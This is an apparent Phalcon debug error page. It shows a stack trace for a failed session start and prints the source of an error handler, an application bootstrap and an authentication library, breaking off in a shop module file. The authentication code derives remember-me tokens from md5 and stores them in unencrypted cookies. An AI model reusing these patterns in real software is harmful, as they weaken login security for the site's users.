| #0 | Phalcon\Debug->onUncaughtLowSeverity(2, session_start(): open(/var/lib/php/sessions/sess_4f21bf4af7b481f1dd570a67097d25f7, O_RDWR) failed: No space left on device (28), /var/www/sites/tla/config/bootstrap.php, 309) /var/www/sites/tla/vendor/lamvh/phalcon/src/error/Handler.php (76) <?php
/*
+------------------------------------------------------------------------+
| Phalcon Framework |
+------------------------------------------------------------------------+
| Copyright (c) 2011-2016 Phalcon Team (http://www.phalconphp.com) |
+------------------------------------------------------------------------+
| This source file is subject to the New BSD License that is bundled |
| with this package in the file docs/LICENSE.txt. |
| |
| If you did not receive a copy of the license and are unable to |
| obtain it through the world-wide-web, please send an email |
| to license@phalconphp.com so we can send you a copy immediately. |
+------------------------------------------------------------------------+
| Authors: Andres Gutierrez <andres@phalconphp.com> |
| Eduar Carvajal <eduar@phalconphp.com> |
| Nikita Vershinin <endeveit@gmail.com> |
| Serghei Iakovlev <serghei@phalconphp.com> |
+------------------------------------------------------------------------+
*/
namespace Lamvh\Phalcon\Error;
use Phalcon\Di;
use Phalcon\Logger\Formatter;
use Phalcon\Logger;
use Phalcon\Logger\AdapterInterface;
use Phalcon\Logger\Adapter\File as FileLogger;
use Phalcon\Logger\Formatter\Line as FormatterLine;
class Handler
{
const ENV_PRODUCTION = 'production';
const ENV_STAGING = 'staging';
const ENV_TEST = 'test';
const ENV_DEVELOPMENT = 'development';
/**
* Registers itself as error and exception handler.
*
* @param \Phalcon\Debug $debug
*/
public static function register($debug = null)
{
if (!defined('APPLICATION_ENV')) {
trigger_error('APPLICATION_ENV is not defined (using vlucas/phpdotenv is recommended)', E_USER_WARNING);
}
switch (defined('APPLICATION_ENV') ? APPLICATION_ENV : self::ENV_PRODUCTION) {
case self::ENV_PRODUCTION:
case self::ENV_STAGING:
default:
ini_set('display_errors', 0);
error_reporting(E_ALL);
break;
case self::ENV_TEST:
case self::ENV_DEVELOPMENT:
ini_set('display_errors', 1);
error_reporting(E_ALL);
break;
}
set_error_handler(function ($errno, $errstr, $errfile, $errline) use ($debug) {
if (!($errno & error_reporting())) {
return;
}
$options = [
'type' => $errno,
'message' => $errstr,
'file' => $errfile,
'line' => $errline,
'isError' => true,
];
static::handle(new Error($options));
if ($debug)
$debug->onUncaughtLowSeverity($errno, $errstr, $errfile, $errline);
});
register_shutdown_function(function () {
if (!is_null($options = error_get_last())) {
static::handle(new Error($options));
}
});
}
/**
* @param Error $error
*
* @return mixed
*/
public static function handle(Error $error)
{
$di = Di::getDefault();
$config = $di->getShared('config')->error->toArray();
$logger = $config['logger'];
if (!$logger instanceof AdapterInterface) {
$logger = new FileLogger($logger);
}
$type = static::getErrorType($error->type());
$message = "$type: {$error->message()} in {$error->file()} on line {$error->line()}";
if (isset($config['formatter'])) {
$formatter = null;
if ($config['formatter'] instanceof Formatter) {
$formatter = $config['formatter'];
} elseif (is_array($config['formatter'])) {
$format = null;
$dateFormat = null;
if (isset($config['formatter']['format'])) {
$format = $config['formatter']['format'];
}
if (isset($config['formatter']['dateFormat'])) {
$dateFormat = $config['formatter']['dateFormat'];
} elseif (isset($config['formatter']['date_format'])) {
$dateFormat = $config['formatter']['date_format'];
} elseif (isset($config['formatter']['date'])) {
$dateFormat = $config['formatter']['date'];
}
$formatter = new FormatterLine($format, $dateFormat);
}
if ($formatter) {
$logger->setFormatter($formatter);
}
}
$logger->log(static::getLogType($error->type()), $message);
if (defined('APPLICATION_ENV') && APPLICATION_ENV == self::ENV_PRODUCTION)
switch ($error->type()) {
case E_WARNING:
case E_NOTICE:
case E_CORE_WARNING:
case E_COMPILE_WARNING:
case E_USER_WARNING:
case E_USER_NOTICE:
case E_STRICT:
case E_DEPRECATED:
case E_USER_DEPRECATED:
case E_ALL:
break;
case 0:
case E_ERROR:
case E_PARSE:
case E_CORE_ERROR:
case E_COMPILE_ERROR:
case E_USER_ERROR:
case E_RECOVERABLE_ERROR:
if ($di->has('view')) {
/**
* @var $dispatcher \Phalcon\Mvc\Dispatcher
*/
$dispatcher = $di->getShared('dispatcher');
$view = $di->getShared('view');
$response = $di->getShared('response');
$dispatcher->setNamespaceName($config['namespace']);
$dispatcher->setControllerName($config['controller']);
$dispatcher->setActionName($config['action']);
$dispatcher->setParams(['error' => $error]);
$view->start();
$dispatcher->dispatch();
$view->render($config['controller'], $config['action'], $dispatcher->getParams());
$view->finish();
return $response->setContent($view->getContent())->send();
} else {
echo $message;
}
}
}
/**
* Maps error code to a string.
*
* @param integer $code
* @return string
*/
public static function getErrorType($code)
{
switch ($code) {
case 0:
return 'Uncaught exception';
case E_ERROR:
return 'E_ERROR';
case E_WARNING:
return 'E_WARNING';
case E_PARSE:
return 'E_PARSE';
case E_NOTICE:
return 'E_NOTICE';
case E_CORE_ERROR:
return 'E_CORE_ERROR';
case E_CORE_WARNING:
return 'E_CORE_WARNING';
case E_COMPILE_ERROR:
return 'E_COMPILE_ERROR';
case E_COMPILE_WARNING:
return 'E_COMPILE_WARNING';
case E_USER_ERROR:
return 'E_USER_ERROR';
case E_USER_WARNING:
return 'E_USER_WARNING';
case E_USER_NOTICE:
return 'E_USER_NOTICE';
case E_STRICT:
return 'E_STRICT';
case E_RECOVERABLE_ERROR:
return 'E_RECOVERABLE_ERROR';
case E_DEPRECATED:
return 'E_DEPRECATED';
case E_USER_DEPRECATED:
return 'E_USER_DEPRECATED';
}
return $code;
}
/**
* Maps error code to a log type.
*
* @param integer $code
* @return integer
*/
public static function getLogType($code)
{
switch ($code) {
case E_ERROR:
case E_RECOVERABLE_ERROR:
case E_CORE_ERROR:
case E_COMPILE_ERROR:
case E_USER_ERROR:
case E_PARSE:
return Logger::ERROR;
case E_WARNING:
case E_USER_WARNING:
case E_CORE_WARNING:
case E_COMPILE_WARNING:
return Logger::WARNING;
case E_NOTICE:
case E_USER_NOTICE:
return Logger::NOTICE;
case E_STRICT:
case E_DEPRECATED:
case E_USER_DEPRECATED:
return Logger::INFO;
}
return Logger::ERROR;
}
} |
| #1 | Lamvh\Phalcon\Error\Handler::Lamvh\Phalcon\Error\{closure}(2, session_start(): open(/var/lib/php/sessions/sess_4f21bf4af7b481f1dd570a67097d25f7, O_RDWR) failed: No space left on device (28), /var/www/sites/tla/config/bootstrap.php, 309, Array([config] => Object(Phalcon\Config), [adapter] => \Phalcon\Session\Adapter\Files, [session] => Object(Phalcon\Session\Adapter\Files))) |
| #2 | session_start() |
| #3 | Phalcon\Session\Adapter->start() /var/www/sites/tla/config/bootstrap.php (309) <?php
namespace Blazy;
use Blazy\Library\Mvc\Url as UrlResolver;
use Blazy\Library\Mvc\View\PhpFunctionExtension;
use Intervention\Image\ImageManager;
use Lamvh\Phalcon\Translate\Translate;
use Phalcon\Assets\Manager as AssetsManager;
use Phalcon\Cache\BackendInterface;
use Phalcon\Cache\Frontend\Output as FrontOutput;
use Phalcon\Config;
use Phalcon\Di;
use Phalcon\DiInterface;
use Phalcon\Events\Event;
use Phalcon\Events\Manager as EventsManager;
use Phalcon\Flash\Direct as Flash;
use Phalcon\Flash\Session as FlashSession;
use Phalcon\Http\Response\Cookies;
use Phalcon\Loader;
use Phalcon\Logger\Adapter\File as FileLogger;
use Phalcon\Logger\AdapterInterface as LoggerInterface;
use Phalcon\Logger\Formatter\Line as FormatterLine;
use Phalcon\Mvc\Application;
use Phalcon\Mvc\Dispatcher;
use Phalcon\Mvc\Model\Manager as ModelsManager;
use Phalcon\Mvc\Router;
use Phalcon\Mvc\View;
use Phalcon\Mvc\View\Exception as ViewException;
use Phalcon\Mvc\View\Simple as SimpleView;
use Phalcon\Queue\Beanstalk;
use Phalcon\Utils\Slug;
use RuntimeException;
class Bootstrap extends Application
{
private $app;
private $loaders = [
'cache',
'session',
'view',
'database',
'router',
'url',
'dispatcher',
'flash',
'timezones',
'assets',
'cookie',
'translate',
'media',
];
private $activeModules = ['frontend', 'backend', 'skeleton', 'auth', 'category', 'widget', 'mobile', 'article', 'shop'];
/**
* Bootstrap constructor.
*
* @param DiInterface $di
*/
public function __construct(DiInterface $di)
{
$em = new EventsManager;
$em->enablePriorities(true);
$config = $this->initConfig();
// Register the configuration itself as a service
$di->setShared('eventsManager', $em);
$this->app = new Application;
$this->initLogger($di, $config, $em);
$this->registerActiveModules($this->activeModules);
$this->initLoader($di, $config, $em);
foreach ($this->loaders as $service) {
$serviceName = ucfirst($service);
$this->{'init' . $serviceName}($di, $config, $em);
}
$this->initBackground();
$this->setEventsManager($em);
$this->setDI($di);
}
/**
* Runs the Application
*
* @return $this|string
*/
public function run()
{
if (ENV_TESTING === APPLICATION_ENV) {
return $this;
}
return $this->getOutput();
}
/**
* Get application output.
*
* @return string
*/
public function getOutput()
{
if ($this instanceof Application) {
/**
* @var BackendInterface $viewCache
*/
if (!empty($this->config->viewCache->cacheHtml)) {
$viewCache = $this->viewCache;
$prefix = $this->config->viewCache->htmlPrefix;
$key = $prefix . Slug::generate($this->router->getRewriteUri(), '_');
$output = $viewCache->get($key);
if (empty($output)) {
$output = $this->handle()->getContent();
$isMinify = false;
if (!empty($this->config->minify->mode)) {
if (empty($this->config->minify->condition)) {
$isMinify = true;
} else {
$strCondition = $this->dispatcher->getModuleName() . '_' .
$this->dispatcher->getControllerName() . '_' .
$this->dispatcher->getActionName();
if (stripos($strCondition, $this->config->minify->condition) !== false) {
$isMinify = true;
}
}
}
if (!empty($isMinify)) {
$output = preg_replace('/<!--(.|\s)*?-->/', '', $output);
$search = [
'/\>[^\S ]+/s', //strip whitespaces after tags, except space
'/[^\S ]+\</s', //strip whitespaces before tags, except space
'/(\s)+/s', // shorten multiple whitespace sequences
'/>(\s)+</',
'/\n/',
'/\r/',
'/\t/',
];
$replace = [
'>',
'<',
'\\1',
'><',
'',
'',
'',
];
$output = preg_replace($search, $replace, $output);
}
$viewCache->save($key, $output);
}
} else {
$output = $this->handle()->getContent();
}
return $output;
}
return $this->handle();
}
/**
* Initialize the Logger.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initLogger(DiInterface $di, Config $config, EventsManager $em)
{
$di->set('logger', function ($filename = null, $format = null) use ($config) {
$format = $format ?: $config->get('logger')->format;
$filename = trim($filename ?: $config->get('logger')->filename, '\\/');
$path = rtrim($config->get('logger')->path, '\\/') . DIRECTORY_SEPARATOR;
$formatter = new FormatterLine($format, $config->get('logger')->date);
$logger = new FileLogger($path . $filename);
$logger->setFormatter($formatter);
$logger->setLogLevel($config->get('logger')->logLevel);
return $logger;
});
}
/**
* Initialize the Loader.
*
* Adds all required namespaces.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return Loader
*/
protected function initLoader(DiInterface $di, Config $config, EventsManager $em)
{
$loader = new Loader;
$loader->registerNamespaces(
[
'Blazy\Library' => $config->get('application')->libraryDir,
'Blazy\Helper' => $config->get('application')->helpersDir,
'Blazy\Models' => $config->get('application')->modelsDir,
'Blazy\Plugin' => $config->get('application')->pluginsDir,
'Blazy\Constant' => $config->get('application')->constantDir,
//module
'Blazy\Library\Mvc' => $config->get('application')->libraryDir . '/mvc/',
'Blazy\Library\Mvc\View' => $config->get('application')->libraryDir . '/mvc/view',
'Blazy\Util' => $config->get('application')->utilModuleDir,
]
);
$loader->setEventsManager($em);
$loader->register();
$di->setShared('loader', $loader);
return $loader;
}
/**
* Initialize the Cache.
*
* The frontend must always be Phalcon\Cache\Frontend\Output and the service 'viewCache'
* must be registered as always open (not shared) in the services container (DI).
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initCache(DiInterface $di, Config $config, EventsManager $em)
{
$di->set('viewCache', function () use ($config) {
$frontend = new FrontOutput(['lifetime' => $config->get('viewCache')->lifetime]);
$config = $config->get('viewCache')->toArray();
$backend = '\Phalcon\Cache\Backend\\' . $config['backend'];
unset($config['backend'], $config['lifetime']);
return new $backend($frontend, $config);
});
$di->setShared('modelsCache', function () use ($config) {
$frontend = '\Phalcon\Cache\Frontend\\' . $config->get('modelsCache')->frontend;
$frontend = new $frontend(['lifetime' => $config->get('modelsCache')->lifetime]);
$config = $config->get('modelsCache')->toArray();
$backend = '\Phalcon\Cache\Backend\\' . $config['backend'];
unset($config['backend'], $config['lifetime'], $config['frontend'], $config['useCache'], $config['isFresh']);
return new $backend($frontend, $config);
});
$di->setShared('dataCache', function () use ($config) {
$frontend = '\Phalcon\Cache\Frontend\\' . $config->get('dataCache')->frontend;
$frontend = new $frontend(['lifetime' => $config->get('dataCache')->lifetime]);
$config = $config->get('dataCache')->toArray();
$backend = '\Phalcon\Cache\Backend\\' . $config['backend'];
unset($config['backend'], $config['lifetime'], $config['frontend'], $config['useCache'], $config['isFresh']);
return new $backend($frontend, $config);
});
}
/**
* Initialize the Session Service.
*
* Start the session the first time some component request the session service.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initSession(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('session', function () use ($config) {
$adapter = '\Phalcon\Session\Adapter\\' . $config->get('session')->adapter;
/** @var \Phalcon\Session\AdapterInterface $session */
$session = new $adapter;
$session->start();
return $session;
});
}
/**
* Initialize the View.
*
* Setting up the view component.
*
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return Loader
*/
protected function initView(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('view', function () use ($di, $config, $em) {
$view = new View;
$view->registerEngines([
// Setting up Volt Engine
'.volt' => function ($view, $di) use ($config) {
$volt = new \Phalcon\Mvc\View\Engine\Volt($view, $di);
$voltConfig = $config->get('volt')->toArray();
$options = [
'compiledPath' => $voltConfig['cacheDir'],
'compiledExtension' => $voltConfig['compiledExt'],
'compiledSeparator' => $voltConfig['separator'],
'compileAlways' => ENV_DEVELOPMENT === APPLICATION_ENV && $voltConfig['forceCompile'],
];
$volt->setOptions($options);
$compiler = $volt->getCompiler();
$compiler->addExtension(new PhpFunctionExtension());
$compiler->addFunction('number_format', function ($resolvedArgs) {
return 'number_format(' . $resolvedArgs . ')';
});
$compiler->addFunction('truncate', 'Lamvh\Phalcon\Utils\Str::truncateSafe');
$compiler->addFunction('in_array', 'in_array');
$compiler->addFunction('blockRender', function ($resolvedArgs, $exprArgs) {
return sprintf('$this->block->render(%s)', $resolvedArgs);
});
$compiler->addFunction(
'repeat',
function ($resolvedArgs, $exprArgs) use ($compiler) {
// Resolve the first argument
$firstArgument = $compiler->expression($exprArgs[0]['expr']);
// Checks if the second argument was passed
if (isset($exprArgs[1])) {
$secondArgument = $compiler->expression($exprArgs[1]['expr']);
} else {
// Use '10' as default
$secondArgument = '10';
}
return 'str_repeat(' . $firstArgument . ', ' . $secondArgument . ')';
}
);
return $volt;
},
]);
$view->setViewsDir($config->get('application')->viewsDir);
$em->attach('view', function ($event, $view) use ($di, $config) {
/**
* @var LoggerInterface $logger
* @var View $view
* @var Event $event
* @var DiInterface $di
*/
$logger = $di->get('logger');
$logger->debug(sprintf('Event %s. Path: %s', $event->getType(), $view->getActiveRenderPath()));
if ('notFoundView' == $event->getType()) {
$message = sprintf('View not found: %s', $view->getActiveRenderPath());
$logger->error($message);
throw new ViewException($message);
}
});
$view->setEventsManager($em);
return $view;
});
$di->setShared('simpleView', function () use ($di, $config, $em) {
$simpleView = new SimpleView();
$simpleView->registerEngines([
// Setting up Volt Engine
'.volt' => function ($view, $di) use ($config) {
$volt = new \Phalcon\Mvc\View\Engine\Volt($view, $di);
$voltConfig = $config->get('volt')->toArray();
$options = [
'compiledPath' => $voltConfig['cacheDir'],
'compiledExtension' => $voltConfig['compiledExt'],
'compiledSeparator' => $voltConfig['separator'],
'compileAlways' => ENV_DEVELOPMENT === APPLICATION_ENV && $voltConfig['forceCompile'],
];
$volt->setOptions($options);
$compiler = $volt->getCompiler();
$compiler->addFunction('number_format', function ($resolvedArgs) {
return 'number_format(' . $resolvedArgs . ')';
});
return $volt;
},
// Setting up Php Engine
'.phtml' => 'Phalcon\Mvc\View\Engine\Php',
]);
$simpleView->setViewsDir($config->get('application')->viewsDir);
$em->attach('simpleView', function ($event, $view) use ($di, $config) {
/**
* @var LoggerInterface $logger
* @var View $view
* @var Event $event
* @var DiInterface $di
*/
$logger = $di->get('logger');
$logger->debug(sprintf('Event %s. Path: %s', $event->getType(), $view->getActiveRenderPath()));
if ('notFoundView' == $event->getType()) {
$message = sprintf('View not found: %s', $view->getActiveRenderPath());
$logger->error($message);
throw new ViewException($message);
}
});
$simpleView->setEventsManager($em);
return $simpleView;
});
}
/**
* Initialize the Database connection.
*
* Database connection is created based in the parameters defined in the configuration file.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initDatabase(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('db', function () use ($config, $em, $di) {
$config = $config->database->toArray();
$adapter = '\Phalcon\Db\Adapter\Pdo\\' . $config['adapter'];
unset($config['adapter']);
/** @var \Phalcon\Db\Adapter\Pdo $connection */
$connection = new $adapter($config);
// Listen all the database events
$em->attach(
'db',
function ($event, $connection) use ($di) {
/**
* @var \Phalcon\Events\Event $event
* @var \Phalcon\Db\AdapterInterface $connection
* @var \Phalcon\DiInterface $di
*/
if ($event->getType() == 'beforeQuery') {
$variables = $connection->getSQLVariables();
$string = $connection->getSQLStatement();
if ($variables) {
$string .= "\n" . print_r($variables, true);;
}
// To disable logging change logLevel in config
$di->get('logger', ['db.log'])->debug($string);
}
}
);
// Assign the eventsManager to the db adapter instance
$connection->setEventsManager($em);
return $connection;
});
$di->setShared('modelsManager', function () use ($em) {
$modelsManager = new ModelsManager;
$modelsManager->setEventsManager($em);
return $modelsManager;
});
$di->setShared('modelsMetadata', function () use ($config, $em) {
$config = $config->get('metadata')->toArray();
$adapter = '\Phalcon\Mvc\Model\Metadata\\' . $config['adapter'];
unset($config['adapter']);
$metaData = new $adapter($config);
return $metaData;
});
}
/**
* Initialize the Queue Service.
* TODO: Not yet implement
*
* Queue to deliver e-mails in real-time and other tasks.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initQueue(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('queue', function () use ($config) {
$config = $config->get('beanstalk');
$config->get('disabled', true);
if ($config->get('disabled', true)) {
return new DummyServer();
}
if (!$host = $config->get('host', false)) {
$error = 'Beanstalk is not configured';
if (class_exists('\Phalcon\Queue\Beanstalk\Exception')) {
$exception = '\Phalcon\Queue\Beanstalk\Exception';
} else {
$exception = '\Phalcon\Exception';
}
throw new $exception($error);
}
return new Beanstalk(['host' => $host]);
});
}
/**
* Initialize the Router.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initRouter(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('router', function () use ($config, $em) {
/** @var \Phalcon\Mvc\Router $router */
$router = include BASE_DIR . 'config/routes.php';
if (!isset($_GET['_url'])) {
$router->setUriSource(Router::URI_SOURCE_SERVER_REQUEST_URI);
}
if (preg_match('/(.jpg|.jpge|.png|.gif|.ico|.css|.js)$/', $router->getRewriteUri())) {
exit;
}
$router->removeExtraSlashes(true);
$router->setEventsManager($em);
$router->setDefaultNamespace('Blazy\Frontend\Controllers');
$router->setDefaultModule('frontend');
$router->notFound(['controller' => 'error', 'action' => 'route404']);
return $router;
});
}
/**
* Initialize the Url service.
*
* The URL component is used to generate all kind of urls in the application.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initUrl(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('url', function () use ($config) {
$url = new UrlResolver;
$url->setBaseUri($config->application->baseUri);
$url->setStaticBaseUri(STATIC_BASE_URL . $config->application->baseUri);
return $url;
});
}
/**
* Initialize the Dispatcher.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initDispatcher(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('dispatcher', function () use ($em) {
$dispatcher = new Dispatcher;
$dispatcher->setDefaultNamespace('Blazy\Frontend\Controllers');
$em->attach('dispatch:beforeException', function ($event, $dispatcher, $exception) {
if (!class_exists('Blazy\Backend\Module')) {
include_once BASE_DIR . '/app/modules/backend/module.php';
$module = new Backend\Module();
$module->registerServices($this->getDI());
$module->registerAutoloaders($this->getDI());
$dispatcher->setNamespaceName('Blazy\Backend\Controllers');
}
});
$dispatcher->setEventsManager($em);
return $dispatcher;
});
}
/**
* Initialize the Flash Service.
*
* Register the Flash Service with the Twitter Bootstrap classes
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initFlash(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('flash', function () {
$flash = new Flash(
[
'error' => 'alert alert-danger fade in',
'success' => 'alert alert-success fade in',
'notice' => 'alert alert-info fade in',
'warning' => 'alert alert-warning fade in',
]
);
return $flash;
});
$di->setShared('flashInline', function () use ($di) {
$flash = $di->getShared('flash');
$flash->setCssClasses([
'error' => 'custom-message error',
'success' => 'alert alert-success fade in',
'notice' => 'alert alert-info fade in',
'warning' => 'alert alert-warning fade in',
]);
return $flash;
});
$di->setShared(
'flashSession',
function () {
return new FlashSession([
'error' => 'alert alert-danger fade in',
'success' => 'alert alert-success fade in alert-hightlight',
'notice' => 'alert alert-info fade in',
'warning' => 'alert alert-warning fade in',
]);
}
);
}
/**
* Initialize time zones.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initTimezones(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('timezones', function () use ($config) {
return require_once BASE_DIR . 'config/timezones.php';
});
}
/**
* Load module's configuration file, prepare and return the Config.
*
* @param string $path Config path [Optional]
*
* @return Config
* @throws RuntimeException
*/
protected function initConfig($path = null)
{
$path = $path ?: BASE_DIR . 'config/';
if (!is_readable($path . 'config.php')) {
throw new RuntimeException(
'Unable to read config from ' . $path . 'config.php'
);
}
$di = Di::getDefault();
/**
* Load default configuration and run module background job
*
* @var \Phalcon\Config $config
*/
$config = include_once $path . 'config.php';
$di->setShared('config', $config);
foreach ($this->activeModules as $module) {
if (is_readable(BASE_DIR . 'app/modules/' . $module . '/config.php'))
$config->offsetSet($module, include_once BASE_DIR . 'app/modules/' . $module . '/config.php');
}
/**
* Load environment configuration
*
* @var \Phalcon\Config $envConfig
*/
$envConfig = include_once $path . 'config.' . APPLICATION_ENV . '.php';
foreach ($this->activeModules as $module) {
if (is_readable(BASE_DIR . 'app/modules/' . $module . '/config.' . APPLICATION_ENV . '.php'))
$envConfig->offsetSet($module, include_once BASE_DIR . 'app/modules/' . $module . '/config.' . APPLICATION_ENV . '.php');
}
if ($envConfig instanceof Config) {
$config->merge($envConfig);
}
return $config;
}
protected function initBackground()
{
$di = Di::getDefault();
foreach ($this->activeModules as $module) {
if (is_readable(BASE_DIR . 'app/modules/' . $module . '/Background.php')) {
include_once BASE_DIR . 'app/modules/' . $module . '/Background.php';
$background = 'Blazy\\' . $module . '\Background';
new $background($di);
}
}
}
/**
* @param DiInterface $di
* @param Config $config
* @param EventsManager $em
*/
protected function initAssets(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('assets', function () use ($config, $em) {
return new AssetsManager();
});
}
/*protected function initViewSimple(DiInterface $di, Config $config, EventsManager $em) {
$di->setShared('viewSimple', function() {
$view = new ViewSimple();
$view->setViewsDir($config->application->viewsDir);
return new ViewSimple();
});
}*/
/**
* starts the cookie the first time some component requests the cookie service
*
* @param DiInterface $di
* @param Config $config
* @param EventsManager $em
*/
protected function initCookie(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('cookies', function () {
$cookies = new Cookies();
$cookies->useEncryption(false);
return $cookies;
});
}
/**
* Multi language
*
* @param DiInterface $di
* @param Config $config
* @param EventsManager $em
*/
protected function initTranslate(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('translate', function () use ($di, $config) {
$translate = new Translate($config->application->messagesDir, $config->application->defaultLanguage);
$dispatcher = $di->getShared('dispatcher');
$lang = $dispatcher->getParam('lang');
if (!empty($lang)) {
$translate->setCurrentLanguage($lang);
}
return $translate;
});
$di->setShared('t', function () use ($di, $config) {
return $di->getShared('translate')->getTranslation();
});
}
/**
* media manager: image, video ..
*
* @param DiInterface $di
* @param Config $config
* @param EventsManager $em
*/
protected function initMedia(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('image', new ImageManager(['driver' => 'gd']));
}
public function registerActiveModules($modules, $merge = false)
{
$preparedModules = [];
foreach ($modules as $module) {
$preparedModules[$module] = [
'className' => 'Blazy\\' . ucfirst($module) . '\\Module',
'path' => BASE_DIR . 'app/modules/' . $module . '/Module.php',
];
}
parent::registerModules($preparedModules, $merge);
}
}
|
| #4 | Blazy\Bootstrap->Blazy\{closure}() |
| #5 | Phalcon\Di\Service->resolve(null, Object(Phalcon\Di\FactoryDefault)) |
| #6 | Phalcon\Di->get(session, null) |
| #7 | Phalcon\Di->getShared(session) |
| #8 | Phalcon\Di\Injectable->__get(session) /var/www/sites/tla/vendor/lamvh/phalcon/src/auth/library/Authentication.php (96) <?php
namespace Lamvh\Phalcon\Auth\Library;
use Lamvh\Phalcon\Auth\Models\AuthCredential;
use Phalcon\Http\Response;
use Phalcon\Mvc\User\Plugin;
use Lamvh\Phalcon\Constant\ErrorCodes;
use Lamvh\Phalcon\Exception\AuthException;
use Lamvh\Phalcon\Exception\Exception;
class Authentication extends Plugin
{
/**
* @var AccountTypeInterface[] Account types
*/
protected $accountTypes;
/**
* @var int Expiration time of created sessions
*/
protected $sessionDuration;
/**
* Manager constructor.
*
* @param string $sessionKey
*/
protected $sessionKey;
public function __construct($sessionDuration = 86400, $sessionKey = 'auth')
{
$this->sessionDuration = $sessionDuration;
$this->sessionKey = $sessionKey;
$this->accountTypes = [];
}
public function registerAccountType($keyAccountType, AccountTypeInterface $account)
{
$this->accountTypes[$keyAccountType] = $account;
return $this;
}
public function getAccountTypes()
{
return $this->accountTypes;
}
public function getSessionDuration()
{
return $this->sessionDuration;
}
public function setSessionDuration($time)
{
$this->sessionDuration = $time;
}
public function getSessionKey()
{
return $this->sessionKey;
}
public function setSessionKey($sessionKey)
{
$this->sessionKey = $sessionKey;
}
/**
*Check if a user is currently logged in
* @return bool
*/
public function loggedIn()
{
return $this->session->has($this->sessionKey);
}
/**
* return current user login
*
* @return mixed
*/
public function currentUser()
{
return $this->session->get($this->sessionKey);
}
/**
* @param $name
*
* @return \Lamvh\Phalcon\Auth\AccountType Account-type
*/
public function getAccountType($name)
{
if (array_key_exists($name, $this->accountTypes)) {
return $this->accountTypes[$name];
}
return false;
}
/**
* @param $accountTypeName
* @param array $data
* @param bool $remember
*
* @return int
* @throws AuthException
* @throws Exception
*/
public function login($accountTypeName, array $data, $remember = false)
{
if (!$account = $this->getAccountType($accountTypeName)) {
throw new AuthException(ErrorCodes::AUTH_INVALID_TYPE);
}
$data = $account->mapCondition($data);
$identity = $account->login($data);
if ($identity instanceof Response) {
return 0;
}
if (empty($identity)) {
throw new AuthException(ErrorCodes::AUTH_BADLOGIN);
}
$this->session->set($this->sessionKey, $identity['data']);
$timeStart = time();
$expire = $timeStart + $this->sessionDuration;
$token = md5($identity['key'] . $timeStart);
$data = [
'ac_token' => $token,
'ac_created' => $timeStart,
'ac_user_agent' => $this->request->getUserAgent(),
'user_id' => $identity['key'],
];
$this->saveAuthCredential($data);
if ($remember) {
$this->cookies->set('rmt', $token, $expire);
$this->cookies->set('rmu', $identity['key'], $expire);
}
return $identity['data'];
}
/**
* Save auth credential
*
* @param $data
*
* @return bool Save auth credential
* @throws Exception
*/
public function saveAuthCredential($data)
{
$credential = new AuthCredential();
if ($credential->create($data) == false) {
throw new Exception(ErrorCodes::DATA_CREATE_FAIL, 'Create AuthCredential Fail');
}
return true;
}
/**
* check user is authenticated
*
* @param $data
*
* @return boolean
*/
public function checkAuthCredential($data)
{
$rs = AuthCredential::findFirst($data);
if (empty($rs) || $rs->ac_created < (time() - $this->sessionDuration)) {
return false;
}
return true;
}
/**
*Check if the session has a remember me cookie
*
* @return boolean
*/
public function hasRememberMe()
{
return ($this->cookies->has('rmu') && $this->cookies->has('rmt'));
}
/**
* Logs on using the information in the coookies
*
* @param $accountTypeName
*
* @return bool
*/
public function loginWithRememberMe($accountTypeName)
{
$userId = $this->cookies->get('rmu')->getValue();
$token = $this->cookies->get('rmt')->getValue();
if (empty($userId) || empty($token)) {
return false;
}
$check = $this->checkAuthCredential([
'user_id' => $userId,
'ac_token' => $token,
]);
if (!$check) {
return false;
}
if (!$account = $this->getAccountType($accountTypeName)) {
return false;
}
$identity = $account->get($userId);
if (empty($identity)) {
return false;
}
$this->session->set($this->sessionKey, $identity);
return true;
}
/**
* logout
*
* @return Response
*/
public function logout($url)
{
$this->session->remove($this->sessionKey);
$this->cookies->get('rmu')->delete();
$this->cookies->get('rmt')->delete();
return $this->response->redirect($url);
}
} |
| #9 | Lamvh\Phalcon\Auth\Library\Authentication->currentUser() /var/www/sites/tla/app/modules/shop/Background.php (49) <?php
/**
* Created by PhpStorm.
* User: LamVH
* Date: 6/10/2016
* Time: 2:22 PM
*/
namespace Blazy\Shop;
use Lamvh\Phalcon\Mvc\BackgroundServiceInterface;
use Lamvh\Phalcon\Translate\Translate;
use Phalcon\Config;
class Background implements BackgroundServiceInterface {
public function __construct(\Phalcon\DiInterface $di)
{
/**
